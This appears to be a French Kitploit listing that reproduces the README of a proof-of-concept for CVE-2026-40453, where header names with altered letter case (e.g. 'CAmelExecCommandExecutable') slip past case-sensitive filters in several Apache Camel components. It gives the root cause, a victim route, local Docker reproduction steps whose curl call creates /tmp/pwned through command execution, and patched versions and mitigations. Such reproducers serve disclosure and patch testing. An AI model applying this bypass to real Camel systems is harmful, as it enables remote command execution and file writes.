Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40453 — Reproducteur pour CVE-2026-40453 : injection d'en-tête Camel par variante de casse dans Apache Camel (correction incomplète de CVE-2025-27636) | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-40453
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHuboscerd/cve-2026-40453

CVE-2026-40453

Reproducteur pour CVE-2026-40453 : injection d'en-tête Camel par variante de casse dans Apache Camel (correction incomplète de CVE-2025-27636)

Voir le dépôt
2il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Reproducteur d'injection d'en-tête Camel avec variante de casse (CVE-2026-40453)

Ce projet démontre CVE-2026-40453 — un correctif incomplet pour CVE-2025-27636. Le correctif de 2025 a ajouté setLowerCase(true) à HttpHeaderFilterStrategy afin que les noms d'en-têtes avec variante de casse (par ex. CAmelExecCommandExecutable) soient filtrés aux côtés du nom canonique CamelExecCommandExecutable. Le même appel n'a pas été appliqué à cinq implémentations non-HTTP de HeaderFilterStrategy (camel-jms, camel-sjms, camel-coap, camel-google-pubsub), qui filtrent de manière sensible à la casse alors que l'Exchange Camel stocke les en-têtes dans une map insensible à la casse. Un attaquant peut donc injecter un en-tête de contrôle avec variante de casse qui contourne le filtre mais est toujours résolu par les composants en aval (, , ...) sous son nom canonique → / écriture arbitraire de fichier.

Camel*
camel-exec
camel-file
exécution de code à distance

Ce reproducteur démontre le contournement avec camel-coap (autonome, sans broker externe) ; la même faille affecte les stratégies JMS/SJMS/Google-Pubsub.

Avis de sécurité : https://camel.apache.org/security/CVE-2026-40453.html

Résumé de la vulnérabilité

PropriétéValeur
Composantscamel-jms, camel-sjms, camel-coap, camel-google-pubsub (ce PoC utilise camel-coap)
Classes affectéesJmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
Cause racineFiltrage sensible à la casse avec startsWith("Camel"/"camel") (setLowerCase(true) manquant) par rapport à une map d'en-têtes Exchange insensible à la casse
CWECWE-20 (validation d'entrée incorrecte) — injection d'en-tête de message
ImpactRCE / écriture arbitraire de fichier via les producteurs pilotés par en-têtes
Versions affectéesDe 3.0.0 à 4.14.6 exclu, de 4.15.0 à 4.18.2 exclu, de 4.19.0 à 4.20.0 exclu
Versions corrigées4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (complète le correctif de CVE-2025-27636)
RapporteurSaroj Khadka

Détails techniques

CoAPHeaderFilterStrategy (version affectée) filtre Camel* en respectant la casse :

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

Lorsqu'une requête CoAP arrive, CamelCoapResource.handleRequest() mappe chaque paramètre de requête URI dans les en-têtes In de l'Exchange, contrôlé par strategy.applyFilterToExternalHeaders(name, value, exchange) :

  • CamelExecCommandExecutable — startsWith("Camel") est vrai → filtré.
  • CAmelExecCommandExecutable — startsWith("Camel") est faux (CAm ≠ Cam) → non filtré.

La map des en-têtes de l'Exchange est insensible à la casse ; l'en-tête avec variante de casse est donc résolu plus tard par le producteur exec sous son nom canonique CamelExecCommandExecutable, remplaçant la commande.

La route victime

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

Prérequis

  • Java 17+ et Maven 3.8+
  • Docker

Étapes de reproduction

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) Bénin

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) En-tête canonique — FILTRÉ (pas de RCE)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (the filter strips canonical Camel* headers)

3) En-tête avec variante de casse — CONTOURNEMENT (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true   (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned

Nettoyage

root@kitploit:~
docker compose down

Correctif recommandé

Mettez à niveau vers 4.14.6 / 4.18.2 / 4.20.0. Le correctif (CAMEL-23313) ajoute setLowerCase(true) aux cinq implémentations non-HTTP de HeaderFilterStrategy afin que les noms Camel* avec variante de casse soient également filtrés.

Atténuation

En attendant la mise à niveau :

  1. Supprimez les en-têtes Camel en ignorant la casse en aval des producteurs non fiables — un HeaderFilterStrategy personnalisé avec setLowerCase(true), ou removeHeaders avec un motif insensible à la casse.
  2. Évitez de transmettre des messages JMS / CoAP / Pub-Sub non fiables vers des producteurs pilotés par en-têtes.

Fichiers

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # victim: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtered), /attack (case-variant bypass)
    └── resources/
        └── application.properties

Avertissement

Ce reproducteur est fourni uniquement à des fins de recherche en sécurité et de tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil